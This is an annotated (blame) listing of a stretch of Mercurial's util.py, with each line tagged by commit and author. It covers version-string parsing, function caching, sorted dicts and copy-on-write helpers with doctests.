2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1076 reads=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1077 writes=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1078 states=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1079 logdata=False,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1080 logdataapis=True,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1081 ):
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1082 """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1083
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1084 observer = socketobserver(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1085 logh,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1086 name,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1087 reads=reads,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1088 writes=writes,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1089 states=states,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1090 logdata=logdata,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1091 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1092 )
37013 8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1093 return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets Gregory Szorc <gregory.szorc@gmail.com> parents: 36994 diff changeset	1094
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1095
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1096 def version():
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1097 """Return version information if available."""
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1098 try:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	1099 from . import __version__
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1100
7632 9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1101 return __version__.version
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1102 except ImportError:
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1103 return 'unknown'
9626819b2e3d refactor version code Matt Mackall <mpm@selenic.com> parents: 7559 diff changeset	1104
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1105
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1106 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1107 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1108
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1109 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1110 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1111
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1112 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1113 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1114
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1115 >>> v = b'3.6.1+190-df9b73d2d444'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1116 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1117 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1118 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1119 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1120 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1121 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1122
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1123 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1124 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1125
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1126 >>> v = b'3.6'
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1127 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1128 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1129 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1130 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1131 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1132 (3, 6, None, None)
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1133
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1134 >>> v = b'3.9-rc'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1135 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1136 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1137 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1138 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1139 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1140 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1141
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1142 >>> v = b'3.9-rc+2-02a8fea4289b'
29613 616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1143 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1144 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1145 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1146 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1147 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302) Gregory Szorc <gregory.szorc@gmail.com> parents: 29592 diff changeset	1148 (3, 9, None, 'rc+2-02a8fea4289b')
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1149
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1150 >>> versiontuple(b'4.6rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1151 (4, 6, None, 'rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1152 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1153 (4, 6, None, 'rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1154 >>> versiontuple(b'.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1155 (None, None, None, '.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1156 >>> versiontuple(b'12.34..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1157 (12, 34, None, '..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1158 >>> versiontuple(b'1.2.3.4.5.6')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1159 (1, 2, 3, '.4.5.6')
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1160 """
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1161 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1162 v = version()
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1163 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1164 if not m:
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1165 vparts, extra = '', v
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1166 elif m.group(2):
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1167 vparts, extra = m.groups()
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1168 else:
37801 5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings Yuya Nishihara <yuya@tcha.org> parents: 37675 diff changeset	1169 vparts, extra = m.group(1), None
27112 39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1170
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1171 vints = []
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1172 for i in vparts.split('.'):
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1173 try:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1174 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1175 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1176 break
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1177 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1178 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1179 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1180
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1181 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1182 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1183 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1184 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1185 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1186 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information Gregory Szorc <gregory.szorc@gmail.com> parents: 27066 diff changeset	1187
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1188
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1189 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1190 '''cache the result of function calls'''
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1191 # XXX doesn't handle keywords args
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1192 if func.__code__.co_argcount == 0:
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1193 cache = []
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1194
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1195 def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1196 if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1197 cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1198 return cache[0]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1199
20835 0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 20679 diff changeset	1200 return f
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1201 cache = {}
28832 f5ff10f6fa6b util: use __code__ (available since py2.6) timeless <timeless@mozdev.org> parents: 28826 diff changeset	1202 if func.__code__.co_argcount == 1:
3147 97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1203 # we gain a small amount of time because
97420a49188d add comments in cachefunc Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 3145 diff changeset	1204 # we don't need to pack/unpack the list
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1205 def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1206 if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1207 cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1208 return cache[arg]
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1209
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1210 else:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1211
3145 e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1212 def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1213 if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1214 cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1215 return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1216
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1217 return f
e4ea47c21480 Add cachefunc to abstract function call cache Brendan Cully <brendan@kublai.com> parents: 3131 diff changeset	1218
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1219
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1220 class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1221 """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1222
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1223 Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1224 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1225
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1226 def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1227 """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1228 if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1229 self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1230 return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1231 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1232
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1233 def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1234 """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1235 self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1236 return self
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1237
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1238
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1239 class sortdict(collections.OrderedDict):
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1240 '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1241
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1242 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1243 >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1244 >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1245 sortdict([('a', 0), ('b', 1)])
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	1246 >>> d2.update([(b'a', 2)])
34154 be00af4a1ac5 doctest: coerce dict.keys() to list Yuya Nishihara <yuya@tcha.org> parents: 34152 diff changeset	1247 >>> list(d2.keys()) # should still be in last-set order
32346 2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1248 ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1249 '''
2d19664e257d util: drop unneeded override, sortdict.copy() Yuya Nishihara <yuya@tcha.org> parents: 32340 diff changeset	1250
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1251 def __setitem__(self, key, value):
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1252 if key in self:
32340 bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1253 del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict Martin von Zweigbergk <martinvonz@google.com> parents: 32331 diff changeset	1254 super(sortdict, self).__setitem__(key, value)
21813 c2262004c2e2 config: move config.sortdict class into util Angel Ezquerra <angel.ezquerra@gmail.com> parents: 21046 diff changeset	1255
33624 524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1256 if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1257 # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1258 def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1259 if isinstance(src, dict):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1260 src = src.iteritems()
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1261 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1262 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1263
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1264
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1265 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1266 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1267
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1268 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1269
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1270 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1271 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1272 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1273 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1274 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1275 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1276 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1277 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1278 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1279 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1280 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1281 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1282 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1283 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1284 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1285 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1286 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1287 >>> b is b.preparewrite()
